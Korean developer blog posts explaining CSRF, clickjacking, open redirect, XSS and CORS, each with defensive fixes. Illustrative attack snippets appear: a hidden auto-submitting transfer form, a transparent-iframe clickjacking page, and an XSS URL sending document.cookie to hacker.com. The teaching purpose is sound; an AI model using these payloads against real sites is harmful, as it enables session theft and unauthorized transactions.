눈에 보이지 않는 위협: CSRF, 클릭재킹, 오픈 리다이렉트

CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조)

CSRF는 사용자가 로그인한 상태에서 의도하지 않은 요청을 다른 사이트를 통해 보내도록 유도하는 공격이다. 서버는 사용자가 보낸 요청인지 공격자가 보낸 요청인지 구분하지 못하므로, 중요한 작업(예: 비밀번호 변경, 송금 등)이 공격자에 의해 실행될 수 있다.

🔍 공격 시나리오

구조 설명

  1. 사용자가 bank.com에 로그인한 상태로 브라우저를 켜둔다.
  2. 그리고 공격자가 만든 악성 사이트 evil.com에 접속한다.
  3. 이 사이트에는 img, form, script 등을 이용해 자동으로 bank.com에 요청을 보내는 코드가 존재한다.
  4. 사용자의 브라우저는 로그인 상태 쿠키를 bank.com 요청에 자동으로 포함시킨다.

예시 코드

<!-- evil.com에 존재하는 HTML -->
<!-- display: none;으로 인해 보이지 않음 -->
<form action="https://bank.com/transfer" method="POST" style="display: none;">
	<input type="hidden" name="to" value="attacker-account" />
	<input type="hidden" name="amount" value="100000" />
	<input type="submit" />
</form>
<script>
	document.forms[0].submit(); // 자동 제출
</script>

⚠️ 왜 위험한가?

  • 사용자는 악성 사이트에서 클릭도 하지 않고 은행 계좌에서 송금이 일어난다.
  • 요청은 정상적인 POST 방식이고, 사용자의 세션 쿠키도 포함되어 있으므로 서버는 정상 요청으로 오해하게 된다.

🛡 대응 방법

1. SameSite 쿠키 설정

Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
  • SameSite=Strict: 다른 출처에서 유입된 모든 요청에 쿠키를 포함하지 않음 → 가장 강력
  • SameSite=Lax: 안전한 메서드(GET 등)만 허용 → 로그인 후 이동 정도는 가능
  • SameSite=None: 외부 도메인에서도 사용 가능, 단 Secure 필수 → CORS와 함께 주의 필요

프론트에서는 이 설정이 제대로 작동하는지 확인해야 하며, CORS 설정과 함께 연동될 수 있다.

2. CSRF 토큰 사용

토큰 발급 구조

로그인 시, 서버가 고유한 CSRF 토큰을 발급해 HTML에 포함하거나 응답으로 내려준다.

<!-- index.html -->
<meta name="csrf-token" content="abc123" />

API 요청 시 토큰을 헤더에 추가

const token = document.querySelector('meta[name="csrf-token"]').content;

axios.post(
	'/transfer',
	{ to: 'abc', amount: 10000 },
	{
		headers: { 'X-CSRF-Token': token },
	}
);

서버는 쿠키 인증 외에도 이 토큰이 있는지 검증해, 공격자가 위조한 요청을 거부한다.


클릭재킹 (Clickjacking)

클릭재킹은 정상적인 UI를 iframe으로 감싸서 투명하게 만든 뒤, 사용자가 의도하지 않은 클릭을 하게 만드는 공격이다. 사용자는 겉으로는 로그인 버튼을 클릭한 줄 알지만, 실제로는 송금, 결제 등의 위험한 동작을 실행한 것이다.

🔍 공격 시나리오

구조 설명

  1. 공격자가 자신의 사이트 evil.comiframe으로 your-site.com의 민감한 페이지(예: 설정, 결제, 회원탈퇴 등)를 삽입한다.
  2. iframeopacity: 0 또는 z-index를 이용해 투명하게 숨겨진 상태로 배치된다.
  3. 사용자는 ‘플레이’ 버튼을 누른다고 생각하지만, 실제로는 iframe 안의 ‘회원 탈퇴’ 버튼을 누르게 되는 것이다.

예시 코드

<!-- evil.com -->
<style>
	iframe {
		opacity: 0;
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		z-index: 10;
	}

	button {
		position: relative;
		z-index: 1;
	}
</style>

<iframe src="https://your-site.com/settings/delete-account"></iframe>
<button>플레이 버튼</button>

⚠️ 왜 위험한가?

  • 사용자는 자신의 의지와 상관없이 민감한 동작을 실행할 수 있다.
  • 예를 들어, SNS에서 “좋아요”를 클릭하는 것처럼 보이지만 실제로는 비밀번호 변경이나 탈퇴 등의 작업이 이루어질 수 있다.
  • 관리자 페이지에 대한 클릭재킹이 이루어지면, 권한 변경이나 서비스 중단 등의 심각한 결과로 이어질 수 있다.
  • 공격이 시각적으로 인지되지 않기 때문에, 피해자가 공격 사실을 오랫동안 인지하지 못할 수 있다.

🛡 대응 방법

1. X-Frame-Options 헤더 설정

서버에서 응답 헤더로 다음을 설정한다.
어떤 사이트에서도 이 페이지를 iframe으로 삽입할 수 없다.

X-Frame-Options: DENY

같은 출처 내에서만 iframe 삽입을 가능 (예: 도메인이 같은 관리자용 프리뷰 등 허용 가능)하게 하고 싶다면 다음과 같이 설정한다.

X-Frame-Options: SAMEORIGIN

2. Content-Security-Policy 설정

보다 유연하고 정밀한 제어가 필요하다면 다음과 같은 방식으로 설정한다.

Content-Security-Policy: frame-ancestors 'none';
  • frame-ancestors 'none': 모든 사이트에서 iframe 삽입을 금지
  • frame-ancestors 'self': 같은 출처만 허용
  • frame-ancestors https://trusted.com: 특정 도메인만 허용

3. 프론트에서 iframe 감지

보안은 완전히 되지 않지만, 사용자 브라우저에서 감지해 탈출하는 방법이다.

if (window.top !== window.self) {
	// iframe 안에 있음
	window.top.location = window.location; // 부모로 이동
}

오픈 리다이렉트 (Open Redirect)

오픈 리다이렉트는 사용자가 로그인 또는 특정 작업을 마친 후 외부 악성 사이트로 이동하도록 유도할 수 있는 취약점이다. 주로 URL 파라미터로 리다이렉트 주소를 받는 로직에서 발생한다.

🔍 공격 시나리오

구조 설명

  1. 공격자는 사용자에게 다음과 같은 URL을 보낸다.

    https://your-site.com/login?redirect=https://evil.com
    
  2. 사용자는 신뢰할 수 있는 사이트(your-site.com)인 줄 알고 로그인하거나 작업을 진행한다.

  3. 로그인 후, 프론트에서는 redirect 파라미터를 읽어 window.location.href로 이동 처리한다.

    const redirect = new URLSearchParams(location.search).get('redirect');
    window.location.href = redirect;
    
  4. 결과적으로 사용자는 공격자가 제어하는 피싱 사이트(evil.com)로 이동하게 된다.

⚠️ 왜 위험한가?

  • 사용자는 URL이 your-site.com으로 시작되기 때문에 신뢰하고 클릭하지만, 결국엔 공격자가 만든 외부 사이트로 리다이렉트된다.

  • 피싱 사이트에서 사용자에게 다시 로그인 또는 개인정보 입력을 요구함으로써, 계정 탈취나 금융 정보 유출로 이어질 수 있다.

  • OAuth 로그인 방식(SNS 로그인)과 함께 쓰일 경우, 공격자는 토큰 탈취, 로그인 세션 가로채기 등의 추가적인 피해를 유발할 수 있다.

  • 공격 URL을 이메일, 메신저 등에 퍼뜨리기 쉬워 사회공학적 공격(Social Engineering)에 자주 활용된다.

사회공학적 공격?
사람의 심리나 습관을 이용해 정보를 탈취하는 공격 방식이다. 기술보다 사람을 속여서 보안을 우회하는 것이 핵심이다.


🛡 대응 방법

1. 리다이렉트 경로 화이트리스트 제한

사전에 허용된 경로만 리다이렉트 대상으로 허용하는 화이트리스트 방식이다.
예를 들어 사용자가 로그인 후 /dashboard/mypage로 이동하도록 할 수는 있지만, https://evil.com처럼 외부 URL은 강제로 거부되거나 기본 경로(/)로 이동하게 된다.

단순하지만 가장 확실하게 오픈 리다이렉트 취약점을 차단할 수 있는 방법이다. 단점은 화이트리스트가 늘어날수록 관리가 번거로워질 수 있다..

const redirectParam = new URLSearchParams(location.search).get('redirect');
const allowList = ['/dashboard', '/mypage', '/account'];

// 절대 URL 사용 금지, 내부 경로만 허용
if (redirectParam && allowList.includes(redirectParam)) {
	window.location.href = redirectParam;
} else {
	window.location.href = '/';
}

2. 외부 URL 탐지 및 경고

리다이렉트 대상이 외부 URL인지 여부만 판단하여, 외부 URL일 경우 즉시 이동하지 않고 사용자에게 경고를 표시하는 방식이다.
내부 경로뿐 아니라 외부 경로도 일부 허용하되, 사용자의 주의를 유도하여 피싱이나 사칭 피해를 방지할 수 있다. 다만, 경고만으로 모든 위험을 완전히 차단할 수는 없으며 보안에 민감한 서비스에서는 가능한 한 외부 URL 리다이렉트를 아예 막는 것이 더 안전하다.

function isExternalUrl(url) {
	return /^https?:\/\//.test(url); // 절대경로인지 확인
}

const target = new URLSearchParams(location.search).get('redirect');

if (isExternalUrl(target)) {
	alert('외부 사이트로 이동합니다. 주소를 확인하세요.');
} else {
	window.location.href = target;
}

마무리

이러한 보안 위협은 프론트엔드 코드 한 줄, 조건문 한 줄에서 발생할 수 있으므로 의도를 정확히 파악하고 사용자 입력을 검증하며 항상 방어적인 코딩을 염두에 두는 것이 중요하다.

해당 도서를 통해 다양한 보안 위협에 대해 알게 되면서, 앞으로 개발을 진행할 때 어떤 부분을 유의해서 코드를 작성해야 할지 알 수 있게 되어 좋았다. 당장 쉽게 적용할 수 있는게 오픈 리다이렉트를 방지하기 위해 화이트리스트를 작성하는 방법 등..!

📚 참고

웹 보안의 위협, XSS(Cross-site Scripting)

크로스 사이트 스크립팅(Cross-site Scripting, XSS)?

XSS은 공격자가 웹사이트에 악의적인 스크립트를 삽입하여 다른 사용자의 웹 브라우저에서 실행되도록 하는 웹 보안 취약점이다.
이 공격을 통해 공격자는 사용자의 세션 쿠키, 개인정보 등을 탈취하거나, 웹사이트를 변조하고 악성 사이트로 사용자를 리디렉션하는 등 다양한 악의적인 행위를 할 수 있다.


XSS 공격의 원리

XSS 공격은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 검증하거나 필터링하지 않고 그대로 페이지에 표시할 때 발생한다.
공격자는 이 허점을 이용하여 <script>와 같은 HTML 태그를 포함한 악성 스크립트를 게시글, 댓글, 검색어 등 사용자가 입력할 수 있는 모든 곳에 삽입한다. 이후, 다른 사용자가 해당 페이지를 열람하면 그들의 브라우저는 삽입된 스크립트를 신뢰할 수 있는 웹사이트의 일부로 인식하고 실행하게 된다.


XSS 공격의 주요 유형

XSS 공격은 악성 스크립트가 저장되는 위치와 실행되는 방식에 따라 크게 세 가지 유형으로 나뉜다.

1. 저장형 XSS (Stored XSS)

저장형 XSS는 가장 위험한 유형의 XSS 공격이다. 공격자가 악성 스크립트를 웹 서버의 데이터베이스나 파일 시스템에 영구적으로 저장하고, 이후 이 스크립트가 불특정 다수의 사용자에게 실행되도록 유도하는 방식이다.

📝 시나리오 예시

어떤 쇼핑몰의 상품 후기 게시판이 있다고 가정해보자. 사용자가 작성한 후기를 서버에 저장한 뒤, 다시 불러와서 웹 페이지에 출력하는 구조이다. 이때 후기를 출력할 때 스크립트 필터링 없이 그대로 DOM에 삽입할 경우, 저장형 XSS가 발생할 수 있다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    // 서버에서 가져온 후기 데이터를 받아 DOM에 삽입하는 코드
    fetch('/api/comments?id=123')
    	.then((res) => res.text())
    	.then((comment) => {
    		const container = document.getElementById('comment-section');
    		container.innerHTML = `<div>${comment}</div>`; // ⚠️ 위험한 코드
    	});
    
  • 공격자가 삽입한 악성 스크립트 예시

    정말 좋은 상품이네요!
    <script>
    	alert('당신의 쿠키 정보가 탈취되었습니다!');
    </script>
    
  • 공격 과정

    1. 공격자가 위와 같은 악성 <script> 태그가 포함된 후기를 작성하면, 이 내용은 서버의 데이터베이스에 저장된다.
    2. 이후 일반 사용자가 후기 페이지에 접속하면, 위에서 보여준 JS 코드가 서버에서 해당 후기를 불러온다.
    3. innerHTML을 사용해 필터링 없이 DOM에 삽입되면서, <script>가 실행된다.
    4. 공격자의 스크립트가 실행되어 사용자의 브라우저에서 경고창이 뜬다. 실제 공격에서는 document.cookie를 탈취하거나 외부 서버로 전송하는 코드가 삽입될 수 있다.
    <div>
    	정말 좋은 상품이네요!
    	<script>
    		alert('당신의 쿠키 정보가 탈취되었습니다!');
    	</script>
    </div>
    

⚠️ 문제의 핵심

innerHTML을 통해 사용자 입력을 그대로 DOM에 삽입할 경우, 저장형 XSS에 취약해진다. 이는 자바스크립트 환경에서도 흔히 발생하는 실수이며, 서버에서 필터링되지 않은 데이터를 클라이언트에서 그대로 사용하면 이런 공격에 노출될 수 있다.

2. 반사형 XSS (Reflected XSS)

반사형 XSS는 악성 스크립트가 서버에 저장되지는 않지만, 사용자의 요청(Request)에 포함되어, 서버의 응답(Response)에 그대로 반사되어 브라우저에서 실행되는 방식이다.

📝 시나리오 예시

어떤 웹사이트에 검색 기능이 있다고 가정해보자. 사용자가 검색어를 입력하면, 해당 검색어를 페이지에 표시하면서 검색 결과를 보여주는 구조이다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    // URL의 query string에서 검색어(keyword)를 추출
    const params = new URLSearchParams(location.search);
    const keyword = params.get('keyword');
    
    // 검색어를 필터링 없이 DOM에 삽입
    const resultTitle = document.getElementById('result-title');
    resultTitle.innerHTML = `<h2>${keyword}에 대한 검색 결과</h2>`; // ⚠️ 위험한 코드
    
  • 공격자가 만든 악성 URL

    공격자는 keyword 파라미터에 스크립트를 삽입하여 아래와 같은 URL을 만든다.

    https://example.com/search?keyword=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>
    
  • 공격 과정

    1. 공격자는 이메일, 메신저, 혹은 광고를 통해 위 URL을 사용자에게 전달한다.
    2. 사용자가 해당 링크를 클릭하면, 브라우저는 keyword 값에 스크립트를 담아 페이지를 로드한다.
    3. 페이지가 로드되면서 위의 JS 코드가 location.search에서 파라미터를 추출하고, innerHTML로 DOM에 삽입한다.
    4. 결과적으로 <script>가 실행되며, 사용자의 쿠키 정보가 외부 공격자 서버로 전송된다.
    <h2>
    	<script>
    		document.location = 'http://hacker.com/steal?cookie=' + document.cookie;
    	</script>
    	에 대한 검색 결과
    </h2>
    

⚠️ 문제의 핵심

  • innerHTML을 통해 쿼리 스트링의 값을 필터링 없이 DOM에 출력하는 것이 핵심적인 취약점이다.
  • 반사형 XSS는 서버에 저장되는 정보 없이 즉시 실행되므로, 탐지와 방어가 더 어렵다.

3. DOM 기반 XSS (DOM-based XSS)

DOM 기반 XSS는 서버와의 통신 없이, 브라우저에서 실행되는 자바스크립트 코드 내부에서 직접 발생하는 공격이다. 서버는 전혀 관여하지 않기 때문에, 탐지 및 대응이 더 어려운 편이다.

📝 시나리오 예시

어떤 웹사이트가 URL의 해시(#) 값을 가져와 사용자에게 환영 메시지를 출력하는 구조라고 가정해보자. 예를 들어, example.com/#홍길동으로 접속하면 “홍길동님, 환영합니다!” 라는 메시지를 보여주는 방식이다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    <div id="welcome"></div>
    
    <script>
    	// URL의 해시(#) 값에서 이름 추출
    	const name = decodeURIComponent(location.hash.slice(1));
    
    	// 이름을 HTML로 그대로 삽입 (⚠️ 매우 위험)
    	document.getElementById('welcome').innerHTML = `${name}님, 환영합니다!`;
    </script>
    
  • 공격자가 만든 악성 URL

    공격자는 해시 값에 악성 HTML을 삽입해 다음과 같은 URL을 만든다.

    http://example.com/#<img src=x onerror=alert('DOM XSS!')>
    
  • 공격 과정

    1. 공격자는 위 URL을 사용자에게 전달하고 클릭을 유도한다.
    2. 사용자가 해당 URL로 접속하면, 브라우저는 해시(#) 이후의 값을 location.hash를 통해 읽어들인다.
    3. 위 자바스크립트 코드는 해당 값을 필터링 없이 innerHTML로 삽입한다.
    4. 결과적으로 <img src=x onerror=...> 요소가 DOM에 삽입되고, 이미지 로딩 실패로 인해 onerror 이벤트가 실행되며 alert('DOM XSS!')가 동작한다.
    <div id="welcome"><img src="x" onerror="alert('DOM XSS!')" />님, 환영합니다!</div>
    

⚠️ 문제의 핵심

  • DOM XSS는 서버 요청 없이도 발생하기 때문에 서버 로그로는 추적이 불가능하다.
  • innerHTML 사용 시 사용자 입력을 그대로 넣으면 HTML 해석이 발생하고, 이로 인해 스크립트가 실행될 수 있다.

XSS 공격을 방지하는 방법

1. textContent로 HTML 해석 방지하기

가장 기본적이면서도 강력한 방법은 innerHTML 대신 textContent를 사용하는 것이다.
innerHTML은 문자열을 HTML로 파싱 및 렌더링하므로 스크립트 실행의 가능성이 있다. 그러나, textContent는 HTML을 파싱하지 않고 순수 텍스트로만 출력되므로, 스크립트 실행을 원천 차단할 수 있다.

const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').textContent = `${name}님, 환영합니다!`;

이렇게 작성하면 <script><img onerror=...> 같은 태그도 단순 문자열로 처리되기 때문에, 악성 코드가 실행되지 않는다.

2. DOMPurify로 사용자 입력 클렌징하기

만약 innerHTML을 반드시 사용해야 한다면, DOMPurify 같은 라이브러리를 사용해 입력값을 먼저 정화해야 한다. DOMPurify는 위험한 태그나 속성(script, onerror, onclick 등)을 자동으로 제거해준다.

npm install dompurify
import DOMPurify from 'dompurify';

const dirtyInput = '<img src=x onerror=alert(1)>';
const cleanInput = DOMPurify.sanitize(dirtyInput);

document.getElementById('output').innerHTML = cleanInput;

DOMPurify는 보안성과 사용성이 뛰어나며 OWASP에서도 추천하는 방식으로, 클라이언트 환경에서 가장 많이 사용되는 XSS 방어 도구 중 하나다.

3. Content Security Policy(CSP) 적용하기

CSP는 브라우저가 스크립트 실행 정책을 제한할 수 있도록 도와주는 HTTP 응답 헤더다. 이 설정을 통해 외부 스크립트, 인라인 자바스크립트, 동적 eval() 등을 차단할 수 있다.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

이렇게 설정하면 <script>alert(1)</script> 같은 코드는 브라우저에서 차단되며, 스크립트 로딩도 'self' (자기 자신)로 제한된다.

4. HttpOnly 속성을 통한 쿠키 보호

XSS의 가장 큰 피해 중 하나는 쿠키 탈취이다. 이를 막기 위해 중요한 인증 쿠키에는 HttpOnly 속성을 반드시 설정해야 한다.

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly: 자바스크립트에서 document.cookie로 접근 불가능하게 만든다.
  • Secure: HTTPS에서만 쿠키를 전송하도록 한다.
  • SameSite: 다른 출처에서의 요청에 대해 쿠키를 제한한다.

이 속성을 사용하면, 공격자가 document.cookie를 통해 인증 정보를 탈취하는 것을 원천 차단할 수 있다.

5. 사용자 입력 검증과 서버-클라이언트 이중 방어 적용하기

XSS는 단순히 프론트엔드에서만 막는다고 해결되지 않는다. 서버와 클라이언트 모두에서 이중 방어(In-depth Defense) 체계를 갖추는 것이 안전하다.

  • 서버에서는 sanitize-html 등을 사용해 필터링을 적용한다.

    import sanitizeHtml from 'sanitize-html';
    
    const clean = sanitizeHtml(userInput, {
    	allowedTags: ['b', 'i', 'a'],
    	allowedAttributes: { a: ['href'] },
    });
    
  • 입력 제한을 강화한다. <, >, ", ' 등의 특수문자를 제거하거나 이스케이프 처리한다.

    function escapeHTML(str) {
    	return str
    		.replace(/&/g, '&amp;')
    		.replace(/</g, '&lt;')
    		.replace(/>/g, '&gt;')
    		.replace(/"/g, '&quot;')
    		.replace(/'/g, '&#39;');
    }
    
  • X-Frame-Options, X-XSS-Protection 등의 보안 헤더도 함께 설정해주는 것이 좋다.


마무리

XSS는 프론트엔드 개발자라면 반드시 알고 있어야 할 보안 이슈다. 단 한 줄의 innerHTML 만으로도 사용자 정보가 탈취될 수 있으며, 기업 신뢰와 시스템 전체를 위협할 수 있다.

따라서 앞으로 개발할 때 아래와 같은 원칙을 습관화해야겠다. (아래 원칙은 GPT가 뽑아줬다. 참 맞는 말만 하는 듯)

❗ 사용자 입력은 절대 신뢰하지 않는다.
❗ DOM에 삽입할 때는 반드시 정제하거나 이스케이프한다.
❗ 서버와 클라이언트 양쪽에서 모두 방어 로직을 구성한다.

이런 보안 습관은 나와 사용자 모두를 안전하게 지켜주는 강력한 무기가 되어줄 것으로 기대된다!

📚 참고

동일 출처 정책과 CORS, 웹 보안의 기본을 쉽게 풀어보기

왜 접근 제한이 필요할까?

웹은 다양한 리소스를 주고받는 구조로 이루어져 있다. 사용자가 접속한 웹사이트에서 실행되는 자바스크립트는 브라우저를 통해 다양한 데이터를 다룰 수 있다. 그러나 이러한 구조는 사용자 데이터의 안전성을 위협하는 요소가 될 수 있다. 예를 들어, 악성 사이트에서 사용자의 쿠키를 가로채거나 다른 사이트의 API에 무단으로 요청을 보내는 공격이 가능하다. 이러한 보안 문제를 방지하기 위해 브라우저는 “접근 제한”이라는 개념을 도입했다. 이 접근 제한은 웹의 기본 동작 방식을 지키면서 보안과 개인정보 보호를 위해 꼭 필요한 원칙이다.

접근 제한은 단순히 ‘웹 페이지’라는 관점에서만 이루어지는 것이 아니라, 각 리소스의 ‘출처’를 기준으로 결정된다. 따라서 동일 출처 정책을 이해하기 위해서는 출처란 무엇인지 먼저 알아볼 필요가 있다.

출처(Origin)란?

출처란 웹에서 리소스를 구분하는 기준으로 프로토콜(scheme), 호스트(host), 포트(port) 의 조합으로 정의된다.

예를 들어 다음과 같은 URL이 있을 때,
https://example.com:443

  • 프로토콜: https
  • 호스트: example.com
  • 포트: 443

이 세 요소가 모두 같아야 동일 출처로 인식된다.

https://example.com:443https://example.com:8443은 포트 번호가 다르므로 서로 다른 출처이다.

출처의 일치 여부는 보안 정책을 적용할 때 중요한 기준이 된다. 브라우저는 서로 다른 출처 간의 무분별한 접근을 제한하여 사용자의 정보를 보호하기 위해 동일 출처 정책(Same-Origin Policy)을 적용한다.

동일 출처 정책(Same-Origin Policy)이란?

웹의 리소스는 다양한 출처에서 로드될 수 있다. 하지만 이러한 구조는 보안상 문제를 일으킬 가능성이 크기 때문에, 브라우저는 동일 출처 정책(Same-Origin Policy) 이라는 보안 메커니즘을 적용한다. 동일 출처 정책이란, 한 출처에서 로드된 스크립트가 다른 출처의 리소스에 접근하는 것을 제한하는 정책이다.

쉽게 말해, 웹 페이지에서 불러온 자바스크립트 코드가 자신이 로드된 출처의 리소스만 접근할 수 있도록 제한하는 것이다. 이를 통해 악성 코드가 다른 출처의 민감한 정보에 접근하지 못하도록 막는다.

동일 출처 정책이 왜 필요할까?

동일 출처 정책은 웹 보안을 위해 꼭 필요하다. 만약 동일 출처 정책이 없다면 악성 코드가 사용자의 세션 쿠키, 로컬 스토리지 또는 다른 출처의 데이터를 훔칠 수 있다. 이를 통해 개인 정보 탈취, 세션 하이재킹, 계정 도용 등 심각한 보안 문제가 발생할 수 있다.

즉, 동일 출처 정책은 웹 애플리케이션의 무결성과 사용자 정보를 보호하기 위한 최소한의 보안 장치이다.

동일 출처 정책은 언제 적용될까?

동일 출처 정책은 다양한 상황에서 적용된다. 대표적인 예시는 다음과 같다.

  • 다른 출처의 웹 페이지를 <iframe>에 삽입할 경우, 삽입된 페이지의 DOM에 접근할 수 없다.
  • 자바스크립트로 다른 출처의 API에 fetchXMLHttpRequest 요청을 보낼 수는 있지만, 응답 데이터에 접근하려고 하면 브라우저에서 차단된다.
  • 로컬 스토리지(LocalStorage)와 세션 스토리지(SessionStorage)는 출처 단위로 격리되며, 다른 출처의 데이터에 접근할 수 없다.

이러한 제한을 통해 브라우저는 클라이언트 측에서의 무분별한 접근을 차단하여 보안을 강화한다.

동일 출처 정책의 예외 (허용은 되지만 제한된 경우)

모든 요청이 동일 출처 정책의 제한을 받는 것은 아니다.
예를 들어, <img>, <script>, <link>, <video>와 같은 정적 리소스는 다른 출처라도 요청이 가능하다. 이러한 리소스들은 단순히 표시하거나 실행만 할 뿐, 자바스크립트로 직접 접근하거나 데이터를 읽을 수는 없다.

그러나 보안상 이유로 특정 리소스에 대한 접근을 더 엄격하게 제한해야 할 경우에는 서버에서 CORS를 설정하거나, HTML 태그에서 crossorigin 속성을 지정하여 교차 출처 요청의 범위를 제어할 수 있다.

CORS(Cross-Origin Resource Sharing)란?

CORS(Cross-Origin Resource Sharing) 는 교차 출처 요청을 안전하게 허용하기 위한 표준이다. 동일 출처 정책에 의해 차단되는 요청을 서버가 명시적으로 허용할 수 있도록 하는 방법이다.

서버는 응답 헤더에 Access-Control-Allow-Origin과 같은 CORS 관련 헤더를 포함하여 특정 출처의 요청을 허용하거나 거부한다. 즉, CORS는 브라우저가 요청과 응답을 처리할 때 서버의 허용 여부를 확인하는 기준이 된다.

하지만 CORS가 단순히 ‘허용’ 여부만 판단하는 것은 아니다. 브라우저는 요청의 성격과 위험성을 고려해 요청을 다르게 처리하며, 요청을 단순 요청과 사전 요청이 필요한 요청으로 구분한다. 요청의 방식과 포함된 헤더, 메서드 등에 따라 어떤 요청이 필요한지 판단하게 된다. 이 구분은 CORS 정책의 핵심적인 동작 방식 중 하나이다.

단순 요청(Simple Request)이란 무엇인가?

단순 요청이란, 브라우저가 보안상 위험하지 않다고 판단하여 사전 요청(Preflight Request) 없이 바로 서버에 전송하는 요청을 의미한다. 단순 요청은 브라우저와 서버 간의 추가 협의 없이 곧바로 처리되며, 이를 통해 응답 속도를 빠르게 하고, 복잡한 확인 절차를 줄일 수 있다.

단순 요청으로 인정되기 위해서는 다음과 같은 조건을 모두 만족해야 한다.

  • HTTP 메서드GET, POST, HEAD 중 하나여야 한다.
  • Content-Typeapplication/x-www-form-urlencoded, multipart/form-data, text/plain 중 하나여야 한다.
  • 요청 헤더에는 사용자 정의 헤더(custom header) 가 포함되면 안 된다. (예, Authorization, X-Custom-Header 등의 헤더는 단순 요청을 벗어나게 한다.)

이러한 조건들은 브라우저가 위험도가 낮다고 판단하는 요청의 범위를 지정한 것으로 서버의 추가 확인 없이 처리 가능한 요청을 구분하기 위함이다.

예를 들어, 다음과 같은 요청은 단순 요청에 해당한다.

fetch('https://api.example.com/data', {
	method: 'GET',
});

반면, 다음과 같이 PUT 메서드를 사용하거나 Authorization 헤더를 포함하면 단순 요청이 아니며, Preflight Request가 발생한다.

fetch('https://api.example.com/data', {
	method: 'PUT',
	headers: {
		Authorization: 'Bearer token',
	},
});

사전 요청(Preflight Request)란 무엇이며, 왜 필요할까?

단순 요청과 달리, 보안상 위험도가 높다고 판단되는 요청은 브라우저가 먼저 서버의 허락을 받기 위해 사전 요청(Preflight Request)을 보낸다. Preflight Request는 브라우저가 실제 요청 전에 OPTIONS 메서드로 서버에 요청을 보내, “이런 요청을 보내도 괜찮나요?” 라고 확인하는 단계이다.

예를 들어, PUT, DELETE와 같은 메서드를 사용하거나 Authorization, Content-Type: application/json과 같은 커스텀 헤더를 포함하는 경우, 브라우저는 이를 위험도가 높은 요청으로 인식하고 Preflight Request를 수행한다.

서버는 Preflight 요청에 대해 다음과 같은 헤더를 응답해야 한다.

  • Access-Control-Allow-Methods: 허용하는 HTTP 메서드
  • Access-Control-Allow-Headers: 허용하는 헤더

브라우저는 이 응답을 보고 요청을 허용할지 판단하며 허용되면 실제 요청을 이어서 보낸다.

Preflight Request는 단순히 메서드와 헤더뿐 아니라, 쿠키(자격 증명 포함 여부)도 함께 검토하는 중요한 과정이다.

쿠키를 포함한 요청은 어떻게 해야 할까?

CORS 요청은 기본적으로 쿠키와 같은 자격 증명을 포함하지 않는다. 하지만, 인증이 필요한 요청에서는 쿠키를 포함해야 하는 경우가 많다. 이때는 클라이언트와 서버 모두에서 명시적인 설정이 필요하다.

  • 클라이언트: fetch 또는 axios 요청에 credentials: 'include' 또는 withCredentials: true를 설정한다.
  • 서버: Access-Control-Allow-Origin에 특정 출처를 명시하고, Access-Control-Allow-Credentials: true를 반드시 포함한다.

이 두 가지 설정이 모두 충족되어야만 쿠키를 포함한 요청이 가능하며 브라우저는 이를 통해 보안과 데이터 전송의 안전성을 보장한다.

클라이언트에서 CORS 요청 모드는 어떻게 지정할까?

CORS 요청 모드는 클라이언트 자바스크립트에서 CORS 동작 방식을 제어하는 방법이다. fetch API의 mode 옵션을 통해 요청 모드를 지정할 수 있으며 주요 모드는 다음과 같다.

  • cors: 교차 출처 요청을 허용한다. (기본 모드)
  • same-origin: 동일 출처 요청만 허용한다.
  • no-cors: 교차 출처 요청은 가능하지만, 응답 데이터를 읽을 수 없다.

브라우저는 mode 설정과 서버의 CORS 정책을 함께 고려하여 요청을 허용하거나 차단한다. 따라서 클라이언트 코드에서도 적절한 모드를 설정하고 서버 정책과 일치하도록 맞추는 것이 중요하다.

CORS 적용 사례와 오류 상황

CORS 정책은 교차 출처 요청에서 브라우저가 보안상의 이유로 차단할 수 있는 상황에 적용된다. 대표적인 사례는 다음과 같다.

  • 프론트엔드에서 외부 API에 데이터를 요청할 때, 서버가 Access-Control-Allow-Origin 헤더를 응답에 포함하지 않으면 브라우저는 응답 데이터를 읽을 수 없도록 차단한다.

  • CDN에서 제공하는 외부 스크립트나 폰트 파일을 불러올 때, crossorigin 속성을 설정하지 않으면 일부 브라우저에서 에러가 발생하거나 자격 증명을 요구하는 리소스에 접근할 수 없다.

이러한 사례는 CORS 정책과 crossorigin 설정의 필요성을 잘 보여준다.

HTML 태그에서 crossorigin 속성은 왜 필요할까?

crossorigin 속성은 HTML 태그에서 CORS 요청의 동작을 제어하기 위해 사용된다. <img>, <script>, <link> 등의 태그에서 사용되며 주요 값은 다음과 같다.

  • anonymous: 자격 증명 없이 요청을 보낸다.
  • use-credentials: 쿠키를 포함한 자격 증명을 함께 요청한다.

예를 들어, 외부 서버에서 제공하는 스크립트를 불러올 때는 다음과 같이 사용할 수 있다.

<script src="https://cdn.example.com/library.js" crossorigin="anonymous"></script>

이렇게 crossorigin 속성을 설정하면 외부 리소스의 CORS 요청 동작을 명시적으로 관리할 수 있다. 브라우저는 crossorigin 속성의 값에 따라 요청에 쿠키를 포함할지 여부를 판단한다.

이런 crossorigin 속성은 서버의 CORS 설정과 함께 동작해야 효과를 발휘한다. 즉, 서버에서 CORS를 허용하지 않으면, crossorigin 속성이 있어도 교차 출처 요청은 차단된다.

CORS 설정 시 주의해야 할 점

CORS는 필요한 요청을 허용하는 동시에 잘못된 설정은 보안 취약점을 유발할 수 있다. 예를 들어, 서버에서 Access-Control-Allow-Origin: *를 설정하면 모든 출처의 요청을 허용하게 되는데, 이는 민감한 데이터가 포함된 API나 리소스에 접근할 수 있는 허점을 만든다.

특히, Access-Control-Allow-Credentials: true와 함께 *를 사용하는 것은 명세상 허용되지 않으며, 이를 잘못 설정하면 공격자가 사용자의 쿠키를 탈취하거나 세션을 가로챌 위험이 있다. 따라서 CORS를 설정할 때는 반드시 필요한 출처만을 허용해야 하며 보안과 편리함 사이의 균형을 고려해야 한다.

마무리 말

